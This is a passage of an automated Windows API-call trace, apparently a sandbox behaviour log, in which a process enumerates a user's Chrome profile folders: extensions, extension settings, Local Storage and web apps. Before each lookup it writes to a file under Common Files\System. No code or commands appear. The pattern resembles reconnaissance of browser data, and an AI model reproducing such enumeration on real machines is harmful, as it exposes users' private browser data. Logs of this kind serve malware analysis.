MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.180] GetFileType (hFile=0x128) returned 0x1 [0145.180] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83617ff0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83617ff0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.273] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.274] GetLastError () returned 0x12 [0145.274] AreFileApisANSI () returned 1 [0145.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.274] GetFileType (hFile=0x128) returned 0x1 [0145.274] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8361f520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8361f520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.274] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.274] GetLastError () returned 0x12 [0145.275] AreFileApisANSI () returned 1 [0145.275] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0145.275] GetFileType (hFile=0x128) returned 0x1 [0145.275] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8362b870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8362b870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0145.321] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0145.322] GetLastError () returned 0x12 [0145.322] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.322] GetLastError () returned 0x12 [0145.322] AreFileApisANSI () returned 1 [0145.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0145.322] GetFileType (hFile=0x194) returned 0x1 [0145.322] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_metadata\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836ddc00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839fe880, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839fe880, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0145.366] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0145.366] GetLastError () returned 0x12 [0145.366] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0145.366] GetLastError () returned 0x12 [0145.366] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.366] GetLastError () returned 0x12 [0145.366] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.366] GetLastError () returned 0x12 [0145.366] AreFileApisANSI () returned 1 [0145.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.367] GetFileType (hFile=0x188) returned 0x1 [0145.367] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIcons\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x96ec4eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x96ec4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x96ec4eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000, dwReserved1=0x837ef8, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.367] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.367] GetLastError () returned 0x12 [0145.367] AreFileApisANSI () returned 1 [0145.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.367] GetFileType (hFile=0x188) returned 0x1 [0145.368] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\JumpListIconsOld\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85096390, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85096390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85096390, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.368] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.368] GetLastError () returned 0x12 [0145.368] AreFileApisANSI () returned 1 [0145.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.368] GetFileType (hFile=0x188) returned 0x1 [0145.368] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8642cdf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8642cdf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.369] AreFileApisANSI () returned 1 [0145.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.369] GetFileType (hFile=0x18c) returned 0x1 [0145.369] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8642cdf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86513570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86513570, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.370] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.370] GetLastError () returned 0x12 [0145.370] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.370] GetLastError () returned 0x12 [0145.370] AreFileApisANSI () returned 1 [0145.370] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.371] GetFileType (hFile=0x188) returned 0x1 [0145.371] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Local Storage\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83ede170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x90191d70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x90191d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x40000, dwReserved1=0x837ef8, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.372] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.372] GetLastError () returned 0x12 [0145.372] AreFileApisANSI () returned 1 [0145.372] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.372] GetFileType (hFile=0x188) returned 0x1 [0145.373] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84251e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84251e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.373] AreFileApisANSI () returned 1 [0145.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.373] GetFileType (hFile=0x18c) returned 0x1 [0145.373] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Sync Extension Settings\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84251e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8448d2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8448d2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.374] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.374] GetLastError () returned 0x12 [0145.375] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.375] GetLastError () returned 0x12 [0145.375] AreFileApisANSI () returned 1 [0145.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.375] GetFileType (hFile=0x188) returned 0x1 [0145.375] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x868593b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x868593b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.375] AreFileApisANSI () returned 1 [0145.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.375] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.375] GetFileType (hFile=0x18c) returned 0x1 [0145.375] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x868593b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86989eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86989eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.376] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.376] GetLastError () returned 0x12 [0145.376] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.376] GetLastError () returned 0x12 [0145.376] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.376] GetLastError () returned 0x12 [0145.376] AreFileApisANSI () returned 1 [0145.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.376] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.376] GetFileType (hFile=0x184) returned 0x1 [0145.376] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\EVWhitelist\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.377] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.377] GetLastError () returned 0x12 [0145.377] AreFileApisANSI () returned 1 [0145.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.377] GetFileType (hFile=0x184) returned 0x1 [0145.377] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\FileTypePolicies\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.377] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.377] GetLastError () returned 0x12 [0145.377] AreFileApisANSI () returned 1 [0145.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.378] GetFileType (hFile=0x184) returned 0x1 [0145.378] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\OriginTrials\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.378] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.378] GetLastError () returned 0x12 [0145.378] AreFileApisANSI () returned 1 [0145.378] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.378] GetFileType (hFile=0x184) returned 0x1 [0145.378] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\PepperFlash\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.379] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.379] GetLastError () returned 0x12 [0145.379] AreFileApisANSI () returned 1 [0145.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.379] GetFileType (hFile=0x184) returned 0x1 [0145.379] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\pnacl\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x888230, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.379] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 